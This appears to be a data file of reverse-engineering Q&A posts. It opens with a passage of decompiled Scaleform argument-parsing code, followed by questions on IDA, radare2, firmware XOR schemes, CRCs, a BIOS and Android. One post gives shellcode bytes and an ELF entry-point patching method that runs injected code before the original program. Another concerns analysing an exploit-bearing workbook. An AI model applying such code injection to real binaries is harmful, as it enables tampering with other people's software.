+              __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                        (*(undefined8 *)
+                          __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,
+                         ""Option \""%s\"" must have arguments.\n"",local_50);
+              this = (Args *)local_38;
+            }
+            else {
+              lVar17 = CreateValue(local_60[2],uVar2);
+              plVar9 = local_38;
+              ppcVar24 = local_48;
+              plVar20 = (long *)(local_38[3] + (long)local_48 * 8);
+              this_00 = *(RefCountImpl **)(local_38[3] + (long)local_48 * 8);
+              plVar18 = plVar20;
+              if (this_00 != (RefCountImpl *)0x0) {
+                Release(this_00);
+                plVar18 = (long *)((long)ppcVar24 * 8 + plVar9[3]);
+              }
+              param_2 = local_60 + 2;
+              *plVar20 = lVar17;
+              this = (Args *)local_38;
+              if (*plVar18 == 0) {
+                __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                          (*(undefined8 *)
+                            __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,
+                           ""Cannot parse parameter for \""%s\"" \n"",local_50);
+                this = (Args *)local_38;
+              }
+            }
+          }
+          else {
+            if (bVar10 == 4) {
+              if ((int)local_58 < 3) {
+                uVar19 = *(undefined8 *)
+                          __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE;
+LAB_1006b29ad:
+                __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                          (uVar19);
+                this = (Args *)local_38;
+              }
+              else {
+                local_58 = (char **)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x28,0);
+                *(uint *)(local_58 + 1) = 1;
+                *(undefined *)((long)local_58 + 0xc) = 0;
+                *local_58 = pcVar12;
+                local_58[4] = (char *)0x0;
+                local_58[3] = (char *)0x0;
+                local_58[2] = (char *)0x0;
+                if ((1 < (int)local_40) && (pcVar22 = local_60[2], *pcVar22 != '-')) {
+                  local_70 = local_58 + 2;
+                  ppcVar23 = local_60 + 2;
+                  local_64 = uVar2;
+                  do {
+                    local_50 = ppcVar23;
+                    this_00 = (RefCountImpl *)CreateValue(pcVar22,local_64);
+                    ppcVar24 = local_58;
+                    ResizeNoConstruct((
+                                       ArrayDataBase<Scaleform--Ptr<Scaleform--Platform--ArgValue>,Scaleform--AllocatorGH<Scaleform--Ptr<Scaleform--Platform--ArgValue>,2>,Scaleform--ArrayDefaultPolicy>
+                                       *)local_70,local_70,(ulong)(local_58[3] + 1));
+                    pcVar22 = ppcVar24[2];
+                    pcVar5 = ppcVar24[3];
+                    if (this_00 == (RefCountImpl *)0x0) {
+                      *(undefined8 *)(pcVar22 + (long)pcVar5 * 8 + -8) = 0;
+                    }
+                    else {
+                      AddRef(this_00);
+                      *(RefCountImpl **)(pcVar22 + (long)pcVar5 * 8 + -8) = this_00;
+                      Release(this_00);
+                    }
+                    ppcVar24 = local_50;
+                    if ((int)((uint)local_40 + -2) < 1) {
+                      ppuVar21 = (uint **)((long)local_48 * 8 + local_38[3]);
+                      local_40 = (ulong)((uint)local_40 - 1);
+                      goto LAB_1006b2b76;
+                    }
+                    pcVar22 = local_50[1];
+                    ppcVar23 = local_50 + 1;
+                    local_40 = (ulong)((uint)local_40 - 1);
+                  } while (*pcVar22 != '-');
+                }
+                ppuVar21 = (uint **)((long)local_48 * 8 + local_38[3]);
+                if (local_58 == (char **)0x0) {
+                  bVar7 = true;
+                }
+                else {
+LAB_1006b2b76:
+                  AddRef((RefCountImpl *)local_58);
+                  bVar7 = false;
+                }
+                if (*ppuVar21 != (uint *)0x0) {
+                  Release((RefCountImpl *)*ppuVar21);
+                }
+                *(char ***)ppuVar21 = local_58;
+                param_2 = ppcVar24;
+                this = (Args *)local_38;
+                if (!bVar7) {
+                  Release((RefCountImpl *)local_58);
+                  this = (Args *)local_38;
+                }
+              }
+            }
+            else {
+              this = (Args *)local_38;
+              if (bVar10 == 2) {
+                if ((uVar2 & 0xf0) != 0x10) {
+                  uVar19 = *(undefined8 *)
+                            __ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE;
+                  goto LAB_1006b29ad;
+                }
+                puVar16 = (undefined8 *)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x20,0);
+                *(undefined4 *)(puVar16 + 1) = 1;
+                *(undefined *)((long)puVar16 + 0xc) = 0;
+                *(undefined **)puVar16 = puVar13;
+                String((String *)(puVar16 + 2),"""");
+                *(undefined *)((long)puVar16 + 0xc) = 1;
+                *(undefined **)puVar16 = puVar14;
+                *(undefined *)(puVar16 + 3) = 1;
+                operator=((String *)(puVar16 + 2),""true"");
+                *(undefined *)((long)puVar16 + 0xc) = 1;
+                lVar17 = local_38[3];
+                this_00 = *(RefCountImpl **)(lVar17 + (long)local_48 * 8);
+                if (this_00 != (RefCountImpl *)0x0) {
+                  Release(this_00);
+                }
+                *(undefined8 **)(lVar17 + (long)local_48 * 8) = puVar16;
+                this = (Args *)local_38;
+              }
+            }
+          }
+        }
+      }
+      else {
+        uVar15 = (ulong)(ushort)local_68;
+        if ((ulong)((long *)this)[8] < uVar15 || ((long *)this)[8] == uVar15) {
+          __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                    (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,
+                     ""Unknown positional value \""%s\""\n"",pcVar22);
+        }
+        else {
+          ppcVar23 = (char **)(uVar15 * 0x10);
+          uVar2 = *(uint *)(*(long *)this + 0x10 +
+                           *(long *)(((long *)this)[7] + (long)ppcVar23) * 0x28);
+          if ((uVar2 & 0xf) == 4) {
+            local_58 = (char **)(*(long *)this + 0x10 +
+                                *(long *)(((long *)this)[7] + (long)ppcVar23) * 0x28);
+            local_70 = ppcVar23;
+            local_60 = (char **)(**(code **)(*pGlobalHeap + 0x50))(pGlobalHeap,0x28,0);
+            *(undefined4 *)(local_60 + 1) = 1;
+            *(undefined *)((long)local_60 + 0xc) = 0;
+            *local_60 = pcVar12;
+            local_48 = local_60 + 2;
+            local_60[4] = (char *)0x0;
+            local_60[3] = (char *)0x0;
+            local_60[2] = (char *)0x0;
+            do {
+              if (**ppcVar24 == '-') break;
+              uVar15 = (ulong)((int)local_40 - 1);
+              local_50 = ppcVar24;
+              this_00 = (RefCountImpl *)CreateValue(*ppcVar24,*(uint *)local_58);
+              ppcVar24 = local_60;
+              ResizeNoConstruct((
+                                 ArrayDataBase<Scaleform--Ptr<Scaleform--Platform--ArgValue>,Scaleform--AllocatorGH<Scaleform--Ptr<Scaleform--Platform--ArgValue>,2>,Scaleform--ArrayDefaultPolicy>
+                                 *)local_48,local_48,(ulong)(local_60[3] + 1));
+              pcVar22 = ppcVar24[2];
+              pcVar5 = ppcVar24[3];
+              local_40 = uVar15;
+              if (this_00 == (RefCountImpl *)0x0) {
+                *(undefined8 *)(pcVar22 + (long)pcVar5 * 8 + -8) = 0;
+              }
+              else {
+                AddRef(this_00);
+                *(RefCountImpl **)(pcVar22 + (long)pcVar5 * 8 + -8) = this_00;
+                Release(this_00);
+              }
+              ppcVar24 = local_50 + 1;
+            } while (0 < (int)(uint)local_40);
+            lVar17 = local_38[3];
+            lVar25 = *(long *)(local_38[7] + 8 + (long)local_70);
+            if (local_60 != (char **)0x0) {
+              AddRef((RefCountImpl *)local_60);
+            }
+            this_00 = *(RefCountImpl **)(lVar17 + lVar25 * 8);
+            if (this_00 != (RefCountImpl *)0x0) {
+              Release(this_00);
+            }
+            local_40._0_4_ = (uint)local_40 + 1;
+            local_40 = (ulong)(uint)local_40;
+            ppcVar24 = ppcVar24 + -1;
+            *(char ***)(lVar17 + lVar25 * 8) = local_60;
+            this = (Args *)local_38;
+            if (local_60 != (char **)0x0) {
+              Release((RefCountImpl *)local_60);
+              this = (Args *)local_38;
+            }
+          }
+          else {
+            uVar19 = CreateValue(pcVar22,uVar2);
+            lVar17 = ((long *)this)[3];
+            lVar25 = *(long *)(((long *)this)[7] + 8 + (long)ppcVar23);
+            this_00 = *(RefCountImpl **)(lVar17 + lVar25 * 8);
+            if (this_00 != (RefCountImpl *)0x0) {
+              Release(this_00);
+            }
+            *(undefined8 *)(lVar17 + lVar25 * 8) = uVar19;
+            this = (Args *)local_38;
+          }
+        }
+        local_68 = local_68 + 1;
+        param_2 = ppcVar24;
+      }
+      local_40 = (ulong)((uint)local_40 - 1);
+      param_1 = (uint)local_40;
+    } while ((uint)local_40 - 1 != 0 && 0 < (int)(uint)local_40);
+  }
+  lVar17 = ((long *)this)[6];
+  if (lVar17 == 0) {
+    return 0;
+  }
+  plVar20 = (long *)(lVar17 + 0x10);
+  uVar15 = 0;
+  do {
+    if (*plVar20 != -2) break;
+    uVar15 = uVar15 + 1;
+    plVar20 = plVar20 + 5;
+  } while (uVar15 < *(ulong *)(lVar17 + 8) || uVar15 == *(ulong *)(lVar17 + 8));
+  lVar17 = ((long *)this)[6];
+  do {
+    do {
+      if (lVar17 == 0) {
+        return 0;
+      }
+      if (*(long *)(lVar17 + 8) < (long)uVar15) {
+        return 0;
+      }
+      if (*(long *)(((long *)this)[3] + *(long *)(lVar17 + 0x30 + uVar15 * 0x28) * 8) == 0) {
+        lVar25 = *(long *)(lVar17 + 0x28 + uVar15 * 0x28);
+        lVar6 = *(long *)this;
+        uVar2 = *(uint *)(lVar6 + 0x10 + lVar25 * 0x28);
+        if ((uVar2 & 0x100) != 0) {
+          __ZN9Scaleform6Render2GLL53ShaderDesc_FS_GLSL150_FInstancedYUVACxformAcEAlphaInvE
+                    (*(undefined8 *)__ZN9Scaleform6Render2GLL34ShaderDesc_FS_GLSL150_FBatchYUVMulE,
+                     ""Mandatory option \""%s\"" or \""%s\"" is not found \n"",
+                     *(undefined8 *)(lVar6 + lVar25 * 0x28),
+                     *(undefined8 *)(lVar6 + 8 + lVar25 * 0x28));
+          return 2;
+        }
+        uVar19 = CreateValue(*(char **)(lVar6 + 0x18 + lVar25 * 0x28),uVar2);
+        lVar17 = *(long *)(lVar17 + 0x30 + uVar15 * 0x28);
+        lVar25 = ((long *)this)[3];
+        this_00 = *(RefCountImpl **)(lVar25 + lVar17 * 8);
+        if (this_00 != (RefCountImpl *)0x0) {
+          Release(this_00);
+        }
+        *(undefined8 *)(lVar25 + lVar17 * 8) = uVar19;
+        lVar17 = local_38[6];
+        this = (Args *)local_38;
+      }
+    } while ((long)*(ulong *)(lVar17 + 8) < (long)uVar15);
+    plVar20 = (long *)(lVar17 + 0x38 + uVar15 * 0x28);
+    do {
+      uVar15 = uVar15 + 1;
+      if (*(ulong *)(lVar17 + 8) < uVar15) break;
+      lVar25 = *plVar20;
+      plVar20 = plVar20 + 5;
+    } while (lVar25 == -2);
+  } while( true );
+}
+
+" +"['android', 'emulation']"," Title: How to change the manufacturer property in the Android emulator?Body: I already asked this question on StackOverflow, but it is not getting attention; maybe here is a better place + +I am running the Android emulator that comes with the Android Studio software. I created an AVD based on Pixel 2. Opening the ADB shell I get: + +
$ getprop ro.product.manufacturer
+unknown
+
+ +I would like to change the string returned as property ro.product.manufacturer, because I have an app the refuses to run on an ""unknown"" device. How can I do that? + +The file config.ini for the AVD has a line + +
hw.device.manufacturer=Google
+
+ +but this does not seem to be the same thing. +" +"['firmware', 'hardware', 'firmware-analysis', 'fpga']"," Title: Is it possible to read a device's firmware or internal programming in computer's RAM?Body: Let us say I want to reverse engineer a PCIe-based FPGA device. Can I read or extract the IP core or any firmware in the computer's RAM or by trying to communicate with the device in some way? +" +"['ida', 'android', 'debuggers']"," Title: Using IDA pro 7.2 and android server breakpoints problemBody: i have been trying to use IDA to make a breakpoints on a 4 byte memory address +to find out what arm op code writes to it . yet it fails to set a breakpoint and gives me this message "" Xscale support only 1 byte length hardware breakpoints"" + +am using it on rooted mobile Samsung galaxy S6 , Armv8 +server connection is fine i can live edit values and functions also set a break point on functions ( 1 byte op code ) it works fine . + +so i guess that either am doing something wrong or debugger is limited . +please note that am new to arm debugging o just want to find the op code that writes to this address for an android game . + +thank you much appreciated . +" +"['android', 'radare2', 'c', 'java', 'shared-object']"," Title: Some obstacles in reversing a JNI Native libraryBody: I deleted my last question (it was not still answered and none's effort was wasted) as I got back and thought to re-read JNI documentation, to find I misinterpreted some bits. Things are now clearer + +Though I still cannot understand how JavaObject is passed on? Looking through radare2, + +
410: sym.Java_com_asobimo_common_jni_NativeResource_getZipedFile (int16_t arg1, int16_t arg3, int16_t arg4);
+           ; var int16_t var_0h @ sp+0x0
+           ; var int16_t var_ch @ sp+0xc
+           ; var int16_t var_14h @ sp+0x14
+           ; var int16_t var_18h @ sp+0x18
+           ; var int16_t var_1ch @ sp+0x1c
+           ; var int16_t var_34h @ sp+0x34
+           ; var int16_t var_40h @ sp+0x40
+           ; arg int16_t arg1 @ r0
+           ; arg int16_t arg3 @ r2
+           ; arg int16_t arg4 @ r3
+           ; DATA XREF from aav.0x0000c664 @ +0x64
+           0x0000c974  ~   f0b5           push {r4, r5, r6, r7, lr}
+
+ +this is how the static function is called. I feel like the function makes references to passed class objects, since it subtracts 0x44 from sp letter on and then do some stuffs. But, how does this referencing works actually? I am pretty clueless. This is how the Java class looks like which corresponds to it:- + +
package com.asobimo.common.jni;
+
+public final class NativeResource {
+  static {
+    System.loadLibrary(""NativeResource"");
+  }
+
+  public static native void deleteFile(String paramString);
+
+  public static native byte[] getFile(String paramString);
+
+  public static native byte[] getZipedFile(String paramString1, String paramString2);
+
+  public static native boolean isZipedNormality(String paramString);
+
+  public static native void saveFile(String paramString, byte[] paramArrayOfbyte, int paramInt);
+}
+
+ +Also, this is not really a necessary thing to answer (and it kinda shifts away from focus of it, I am sorry) but how radare identifies the arguments' size? As it's clear by var int16_t var_40_h @ sp+0x40 being a reference (even though sp is subtracted by 0x40) and the fact that string function were being called using r0 pointer, over r2 and r3, (which makes it more obvious that they probably are int32_t) + +And why radare didn't assign r1 to anything? And skipped arg2? It probably also has to do with JavaObject, but I can't really find anything by researching myself. I would really appreciate any help, I badly want that boss battle music hidden behind some encrypted zip files + +In case it would help in making some sense, here is the .so file https://files.catbox.moe/foss7s.so +" +['struct']," Title: Generate dummy struct in IDA hexraysBody: I remember that hexrays has the option to generate a dummy struct from a pointer. That is if we access a pointer in offsets 0x36, 0x24 it will create a struct with members off24 , off36. + +In what cases do I see this option in the menu? Or how to make it appear? +I remember that I got it once and it helped me. But since I don't see it , where it is very logical. So, I guess I don't understand its logic. +Either this, or it is not present in IDA 7.4 . +" +"['ida', 'x86', 'elf', 'shellcode']"," Title: ELF file crashing after executing shellcodeBody: So after changing the entry point via the e_entry field I managed to execute my shellcode before returning control to the original entry point. Here's how I did it: + +
 // write string and jump to OEP, patch address at 23
+    unsigned char shellcode[] = ""\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\xeb""
+                      ""\x16\x5e\xb0\x01\x40\xb7\x01\xb2\x09\x0f""
+                      ""\x05\x48\xb8\x41\x41\x41\x41\x41\x41\x41""
+                      ""\xff\xe0\xe8\xe5\xff\xff\xff\x68\x69\x6a""
+                      ""\x61\x63\x6b\x65\x64\x0a"";
+
+ +So as soon as I parse the ELF header I patch the shellcode: + +
uint64_t oep = ehdr->e_entry;
+memcpy(&opcode[23], &oep, 8);
+
+ +Everything works, the shellcode executes and then execution resumes where it should. The problem is that after the target's main function finishes it segfaults(To make things simple I just made a program that prints a string). + +So I used gdb and IDA to see what's going on. Just to make things clear the flow of excution is as follows: + + + +Now, after main returns IDA shows the following: + +
libc_start_main:
+ ext:000000000040244B                 lea     rax, [rsp+108h+var_98]
+.text:0000000000402450                 mov     fs:300h, rax
+.text:0000000000402459                 mov     rdx, cs:environ
+.text:0000000000402460                 mov     edi, [rsp+108h+var_FC]
+.text:0000000000402464                 mov     rsi, [rsp+108h+var_F8]
+.text:0000000000402469                 mov     rax, [rsp+108h+mainaddr]
+.text:000000000040246E                 call    rax             ; jump to main
+.text:0000000000402470                 mov     edi, eax
+.text:0000000000402472
+.text:0000000000402472 loc_402472:                             ; CODE XREF: __libc_start_main+4AF↓j
+.text:0000000000402472                 call    exit
+.text:0000000000402477 ; -----------------------------------------------------------
+
+ +The exit function ends up calling run_exit_handlers which appears to be the real culprit, as it faults with the following instruction: + +
mov     rdx, [rax+18h]
+mov     rdi, [rax+20h]
+mov     qword ptr [rax+10h], 0
+mov     esi, ebp
+ror     rdx, 11h
+xor     rdx, fs:30h
+call    rdx             ; faults
+jmp     loc_40823A
+
+ +For some reason rdx has the value of 9, which is not allowed and hence causes the segmentation fault. + +I searched for information on run_exit_handlers but didn't find anything meaningful. + +So my question is: Why is this happening? All my shellcode does is write a string and jump to the OEP, it shouldn't really affect anything else. +" +"['disassembly', 'malware', 'linux', 'encryption', 'security']"," Title: Linux encryption/luks/pymouth password scripts corruptionBody: I noticed that the bootup scripts that collect the password for full disk encryption on linux (fedora-31) were displaying corrupted text. The kind that looked like binary data being printed at text: + +'Forward Password R…uests to Wall Directory Watch' + +When I examined those binary chars I found between to the 'R' and the 'uests' three binary chars (e2, 80, a6). When I run those unprintable chars into objdump I get valid opcodes: + +0: e2 80 loop 0xffffffffffffff82 + +2: a6 cmpsb %es:(%rdi),%ds:(%rsi) + +I'm really hoping there is a good reason for valid opcodes being embedded in text messages. But considering its happening during the full disk encryption password collector it has me worried. + +I've also noticed that others have this same issue. A web search for ""Forward Password R..."" finds others with the same binary corruption in their bootup logs. + +Does anyone know what is going on here? +" +"['ida', 'x86', 'firmware', 'firmware-analysis', 'bios']"," Title: BIOS first jump leads to empty memoryBody: I'm trying to reverse a BIOS of an industrial PC in order to repair it. The device is based on an ETX-formfactor mobo, obscure Italian SECO M671, very similar to an old Kontron PM-15(C), but with a custom OEM BIOS. I.e., Intel Celeron M (mobile = Dothan family) processor + 82855 Northbridge + 82801 (ICH4) Southbridge. BIOS is stored on an Intel Firmware Hub-compatible flash chip (sst49lf004b), which is connected to the LPC bus. + +The mobo started to refuse to POST (blank screen and nothing happens) with POST sequence d0, 00, d1, d2. I don't know why there is 00h code (it usually means that control is handed to the OS) and I tried to ignore it. d0, d1, d2 pattern corresponds to AMIBIOS8, I thought, (and yes, noone remembers the bios manufacturer) and means bad bootblock checksum. + +Then I've made a dump of the contents of the flash chip with a parallel programmer. But they turned out to be fine, exactly equal to the backup file (taking into account some offset differences)! Actually, except one thing: flash chip contains (far apart from the ""main"" code section) a second VGA BIOS module which I've not found in the backups. But I suppose it can't hurt that much and it is there probably for some optional functionality. + +So either a bad LPC controller inside flash chip (because programming interface is parallel, this is still possible), or I've misinterpreted the POSTcodes. Also I've compared my backup file to some AMI update files and found no similarities. So it seems BIOS reversing and understanding D2 is now my only option. Probably once I disassemble it right, I'll just have to search for immediate 0xd2-s and find the right one). + +I've loaded flash chip image into IDA, looked up chipset datasheet (which, BTW, I found incredibly unclear on the topic of BIOS memory mapping) and corrected flash chip addresses accordingly, i.e. copied upper 128K of BIOS ROM to 0xE0000 to 0xFFFFF 16-bit analysis section, and also copied everything that fits to High-BIOS area FFE0_0000h-FFFF_FFFFh (32-bit analysis section, because of 32-bit address). Then started analysis at 0xFFFF0 (x86 reset vector, 16-bit real mode). Processor setting is P6 (as far as I can tell Dothan family is based on P6 arch) And this is what I get (note that F7A1 and the pointer in red both lead to memory which is not mapped to BIOS ROM, at least as far as I can tell from the datasheet): + + +Obviously, 32-bit analysis (at FFFF_FFF0) of the first 16 bytes executed makes no sense too, since the processor starts up in real mode. + +Keyboard controller access (first check if it's busy, then enable A20 - standard x86 thing) tells me that I was probably right with reset vector memory mapping. + +But why does it jump to some empty locations? What am I doing wrong? Flash chip image and backup file: https://drive.google.com/drive/folders/1MwpiqiRK3N9ZBajyiOUuZde522236gmq?usp=sharing + +
+ +EDIT: The pointer in red actually leads to a location mapped to BIOS ROM, my bad. +Here is where the control jumps: + +We've found POSTcode D0, that's great. But here all jumps lead to some low addresses, which are not mapped to BIOS ROM. Same problem repeats. +" +"['ida', 'x86', 'linux', 'memory', 'libraries']"," Title: IDA shows MEMORY or unknown references on C std library calls (memset, memcpy, etc.)Body: I'm currently reversing a Linux 32-bit executable (with a statically linked library included in it) but I'm having a little problem I can't find a solution for. + +Basically whenever I stumble across a glibc call (memset, memcpy, etc.) IDA, instead of showing the correct name of the function, it shows a reference to MEMORY as a function call. + +Example: + + + +
MEMORY[0xACFC3F9F](s, 0, 44);    // <----- memset
+MEMORY[0xACFC3FBD](dest, 0, 40); // <---- memset
+
+ +The interesting part is that when debugging the reference changes to an actual function call (still unknown, but whatever). +While debugging the MEMORY part changes to: + + + +
((void (__cdecl *)(char *, _DWORD, signed int))unk_F769B4F0)(s, 0, 44);
+((void (__cdecl *)(char *, _DWORD, signed int))unk_F769B4F0)(dest, 0, 40);
+
+ +In Ghidra the same code looks like this: + +
memset(s,0,0x2c);    // <--- correct function name
+memset(dest,0,0x28); // <--- correct function name
+
+ +IDA should automatically detect std library functions, what could be the reason why it isn't happening here? + +
+ +Update: I re-analyzed the executable from scratch (creating a new IDA database) and the references to the functions are here. + +Unfortunately, after attaching to the debugger all the function calls became ""MEMORY"" again. + +Here's the asm: + + + +
.text:566146D7                 mov     [esp], eax      ; s
+.text:566146DA                 call    near ptr memset+566146DBh ; <--- memset call
+.text:566146DF                 mov     dword ptr [esp+8], 28h ; '(' ; n
+.text:566146E7                 mov     dword ptr [esp+4], 0 ; c
+.text:566146EF                 lea     eax, [ebp+dest]
+.text:566146F5                 mov     [esp], eax      ; s
+.text:566146F8                 call    near ptr memset+566146F9h ; <--- memset call
+.text:566146FD                 movsx   eax, [ebp+var_14C]
+
+ +The memset calls are here but with a memory offset pointing to the next address of the executable. +" +"['malware', 'file-format', 'encryption', 'exploit']"," Title: How to “unprotect” malicious workbook without knowing passwordBody: Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in entropy analysis is technically encrypted, even without a password. It seems as thought the workbook is protected, and I'm not sure how to access the cleartext version of the document + +I need to know which vulnerability the document targets to determine coverage, but I don't know how to remove it. + +How do I remove the ""protection"" from the workbook so I can save it without knowing the password? Trying password crackers ""works"" but it seems to corrupt the file such that I can't save it as cleartext to examine it's internals. + +I should mention that this is an .xlsx file. +" +['crc']," Title: CAN Bus checksumBody: Maybe someone can help me with algorithm for checksum calculation. CRC 8 does not fit. Left byte is CRC. + +
B9 30 13 00 00 20 00 00
+36 31 13 00 00 20 00 00
+BA 32 13 00 00 20 00 00
+35 33 13 00 00 20 00 00
+BF 34 13 00 00 20 00 00
+30 35 13 00 00 20 00 00
+BC 36 13 00 00 20 00 00
+33 37 13 00 00 20 00 00
+B5 38 13 00 00 20 00 00
+3A 39 13 00 00 20 00 00
+B6 3A 13 00 00 20 00 00
+39 3B 13 00 00 20 00 00
+B3 3C 13 00 00 20 00 00
+3C 3D 13 00 00 20 00 00
+B0 3E 13 00 00 20 00 00
+3F 3F 13 00 00 20 00 00
+
+7E 01 00 00 00 20 00 00
+F2 02 00 00 00 20 00 00
+7D 03 00 00 00 20 00 00
+F7 04 00 00 00 20 00 00
+78 05 00 00 00 20 00 00
+F4 06 00 00 00 20 00 00
+7B 07 00 00 00 20 00 00
+FD 08 00 00 00 20 00 00
+72 09 00 00 00 20 00 00
+FE 0A 00 00 00 20 00 00
+71 0B 00 00 00 20 00 00
+FB 0C 00 00 00 20 00 00
+74 0D 00 00 00 20 00 00
+F8 0E 00 00 00 20 00 00
+77 0F 00 00 00 20 00 00
+F1 00 00 00 00 20 00 00
+
+" +"['address', 'powerpc']"," Title: calculate branch target address powerpcBody: I want to know how next instruction address (NIA) is calculated for BL instruction. Lets assume that there is such instruction: + +
.text:100004C8    BL sub_10000670.
+
+ +This command in hex is: + +
48 00 01 A9
+
+ +Here we have that current instruction address (CIA) is 100004C8 and NIA is 10000670. So accroding to this book (page 33 in pdf) we have to concatenate LI (in our case it is 6A) and 0B00, sign extend it and sunm with 32 high ordered bits of NIA. The formula is + +
NIA = CIA + EXTS(LI || 0B00).
+
+NIA - CIA = 10000670 - 100004C8 = 1A8.
+
+ +How can i get from 1A8 my LI = 6A value? What do i misunderstand? +" +"['firmware', 'decryption', 'xor']"," Title: Stuck on XOR decryption of firmwareBody:

TL;DR

+ +I have an encrypted image and the cleartext version, and I'm almost certain it's an XOR cipher, but I can't figure out how to decrypt it. I have a few clues listed below. + + + +

Detail

+ +I'm trying to reverse engineer the firmware for a pro audio device, and I've got most of the way but I'm stuck on a step in the middle. + +I'm pretty sure it's an XOR cipher (as there was one XOR decryption already to get to this point, and there is another one after). It seems to be applied in blocks of 0x1000 bytes, as the key seems to reset after this many bytes. The initial key seems to be 2 and it is incremented by 1 every 0x2000 bytes. At the start of each block, the current 'initial key' is XOR'd with 0x4002 to produce the real key. Thus the keys reset to these values at these offsets: + +
Offset | Key
+-------+--------------------
+0x0000 | 2 ^ 0x4002 = 0x4000
+0x1000 | 2 ^ 0x4002 = 0x4000
+0x2000 | 3 ^ 0x4002 = 0x4001
+0x3000 | 3 ^ 0x4002 = 0x4001
+0x4000 | 4 ^ 0x4002 = 0x4006
+
+ +The cipher seems to work in units/words of 16-bits, little endian. After each word has been XOR'd with the key, the key is bit-shifted right by 1. + +However this is where I have come unstuck. Sometimes, apparently at random, the key needs to be XOR'd by 0x4002. I cannot see the pattern as to when this happens. Initially it looks like it happens every four bytes (two words) but this falls apart at offset 0x22. + +I tried XOR'ing the ciphertext and cleartext to produce a long XOR keyfile, and then tried to work out how to reproduce that keyfile. By XOR'ing my guess against the large keyfile, it should end up as 0x00 bytes if I am correct. However it often ends up as 0x02 0x40 bytes, and by writing code that detected these mistakes and adjusted the key accordingly, I was able to see where and when the key needs to be XOR'd by 0x4002 in order to decrypt the data correctly. I've been staring at it for a few hours now, but it just looks random to me, I can't spot any pattern! + +For example, in the block starting at offset 0, the key needs to be XOR'd with 0x4002 at offsets 0, 4, 8, 12 (every four bytes) but then at offset 20 it drops back to every two bytes (20, 22, 24, -not 26-, 28, 2A, 2A, -not 2E-, etc.) I can't see the pattern as to when this extra XOR on the key should happen. It doesn't seem to be related to the previous value, the offset, the key value, etc. (of course it probably is I just can't see it.) + +

Background

+ +The source data has come from a firmware file from the manufacturer, which I have decoded from MIDI SysEx events and decrypted with an XOR cipher. I know this cipher is correct as it produces a correct header and footer, along with block numbers every 256 bytes. After processing these I end up with a source image that is exactly the same size as the firmware dump taken direct from the device's ROM chip with a Minipro EEPROM reader. + +The XOR cipher I am struggling with is the last step in going from the manufacturer's firmware file to what gets flashed into the ROM chip (and vice versa, as programming a custom ROM is my ultimate goal). + +Note that what does get flashed into the ROM chip (what I am referring to here as the cleartext) is itself further XOR encrypted, however I have successfully decrypted that so it is no issue here (and this in-flash encryption is required as the bootloader expects it.) + +If anyone is able to assist me in figuring out this algorithm, I will be implementing it and releasing it as open source, as part of a project I am working on. + +

Disassembly

+ +Further to the question from @Igor Skochinsky, I haven't yet tried to disassemble the bootloader as I'm not sure how to go about it. Here's the bootloader code, which may contain a 10-byte header according to the Blackfin ADSP-BF531 datasheet. + +To avoid confusion if anyone is able to disassemble the code, the XOR encryption I am asking about is only applied during the flash ROM programming stage. A block of data comes in as 7-bit data via the MIDI port (function number 0x34 ""write flash block""), is decoded into 8-bit data, an unrelated XOR decrypt with the key TZ'04 is applied (the key is loaded from offset 0x2C84), the CRC is checked, the three-byte header is stripped and the remaining 256-byte block is (presumably) stored in RAM. + +The manual says the device only acknowledges the write after the 16th 256-byte block, which is 4 kB of data. The XOR algorithm in question resets the key every 4 kB, so it would appear that the device collects the 256-byte blocks until it reaches 4 kB and applies the unknown XOR cipher at that point, after which it writes the resulting cleartext onto the flash chip (which is an SST39SF040, identified as chip ID 0xBFB7). + +Unrelated to this (but to help guide any disassembly), the bootloader also loads data from the flash chip during a normal boot and then XOR decodes it with an 'application key'. This runtime XOR is solved as follows: + +
    +
  1. Bootloader XOR key loaded from offset 0x3002, length 0x38.
  2. +
  3. Bootloader ciphertext read from offset 0x303A, length 0x38.
  4. +
  5. Bootloader XOR and ciphertext applied to produce the 'application key'.
  6. +
  7. Flash memory is read from offset 0x4000, application key used for XOR, result stored in memory ready to execute.
  8. +
+" +['crc']," Title: Behringer CRC8 algorithmBody: The Behringer DEQ2496 audio device can have commands sent to it via MIDI, however they require a valid CRC code in order for the device to accept them. +I have thus far been unable to work out how the CRC code is calculated. The manual suggests it is CRC8 however I have not been able to configure a CRC8 algorithm to produce matching values. +Here is some sample data, including valid CRC codes: + +The DEQ2496 SysEx manual says of the layout of each of the above files: +
+blockdata: 7/8 coded: blockno_h, blockno_l, crc, data[256]. +crc: crc8 checksum of blockno_h, blockno_l, data[256] +blockno: transferred 256 byte data block number (bits 21..15, 14..8 of flash offset); blocks 0-0x1f: boot loader; blocks 0x20..0x5ef: application; blocks 0x5f0-0x5ff: startup screen; blocks 0x600-0x67f: presets; blocks 0x680-0x69f: temporary buffers; blocks 0x6a0-0x7ff: hw configuration; block no 0xff00 shows text message data[0..52] on screen +data: data block +
